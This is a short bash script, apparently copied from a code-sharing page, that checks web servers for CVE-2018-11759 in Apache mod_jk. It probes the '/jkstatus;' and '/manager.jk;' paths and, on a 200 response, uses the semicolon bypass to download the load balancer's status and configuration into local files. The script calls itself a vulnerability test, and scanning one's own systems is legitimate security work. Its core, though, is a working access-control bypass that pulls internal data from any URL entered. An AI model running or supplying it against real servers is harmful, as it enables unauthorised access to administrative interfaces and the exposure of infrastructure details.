main~ 2.4 KB

12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576
  1. #!/bin/bash
  2. # CVE 2018-11759
  3. # Author: Julio Lira <jul10l1r4@ufrn.edu.br>
  4. # date: 12/07/2018 | MM/DD/YYYY
  5. # License: GNU GPL version 3
  6. # Description: This script was a test for verify if the application is vulnerable at CVE 2018-11759.
  7. # Details: https://jul10l1r4.github.io/artigo/Vulnerabilidade-em-balanceadores-mod_jk-[CVE-2018-11759]/index.html
  8. # Fucking banner
  9. printf "\033[32m"
  10. cat << "EOF"
  11. ____ _____ ______ ___ _ ___ _ _ _____ ____ _____
  12. / ___|| ___/ |___ \ / _ \/ |( _ ) / / |___ | ___|/ _ \ \
  13. \___ \| |_ | | __) | | | | |/ _ \ _____| | | / /|___ | (_) | |
  14. ___) | _< < / __/| |_| | | (_) |_____| | | / / ___) \__, | > >
  15. |____/|_| | ||_____|\___/|_|\___/ |_|_|/_/ |____/ /_/| |
  16. \_\ /_/
  17. By Segment Fault.
  18. EOF
  19. # Function for save all details of load balancer
  20. _save(){
  21. # Verify if exists curl in machine
  22. which curl > /dev/null && \
  23. # ok or f'ck
  24. printf '\n Dependencia, curl encontrada...\n' \
  25. || printf '\n \033[31mInstale o Curl\033[0m\n';
  26. # Make a download of details and redirect for directory
  27. # files_cap/
  28. echo -e '\033[32m Iniciando download de detalhes do balanceador\033[0m'
  29. cat <<- EOF > files_cap/$(printf "$1" | cut -d "/" -f 3).data
  30. $(curl "$1/jkstatus;?mime=prop")
  31. EOF
  32. > /dev/null
  33. # show msg of OK
  34. printf "\n \033[32mDetalhes salvos em files_cap/$(printf "$1" | cut -d "/" -f 3).data\033[0m\n"
  35. }
  36. # Function for send request
  37. _req(){
  38. # Get status response of http and verify
  39. jks=$(curl -o /dev/null --silent --head --write-out "%{http_code}" "$1/jkstatus%3B" &3>/dev/null)
  40. echo "Resposta: $jks no /jkstatus"
  41. mjk=$(curl -o /dev/null --silent --head --write-out "%{http_code}" "$1/manager.jk%3B" &3>/dev/null)
  42. echo "Resposta: $mjk no /manager.jk"
  43. if [ $mjk != 404 ];then
  44. url="$1/manager.jk;"
  45. response=$mjk
  46. elif [ $jks != 404 ];then
  47. url="$1/jkstatus;"
  48. response=$jks
  49. fi
  50. }
  51. # Help function
  52. if [ "$1" == "--help" ]
  53. then
  54. echo -e """
  55. \033[32mApenas abra e use\033[0m"""
  56. fi
  57. # This all is in portugues of brazil, learning or translate for u :)
  58. while read -p "Cole a URL -> " LINE; do
  59. _req "$LINE"
  60. if [ $response = 200 ];then
  61. printf "\n \033[31mVulneravel\033[0m\n Veja: $url\n"
  62. _save "$url"
  63. elif [ $response = 302 ] || [ $response = 401 ];then
  64. printf "\n Seguro, mas pode sofrer ataque\n brute-force, cuidado\n Veja: $url\n"
  65. else
  66. printf "\n \033[032mSeguro, parabens\033[0m\n"
  67. fi
  68. done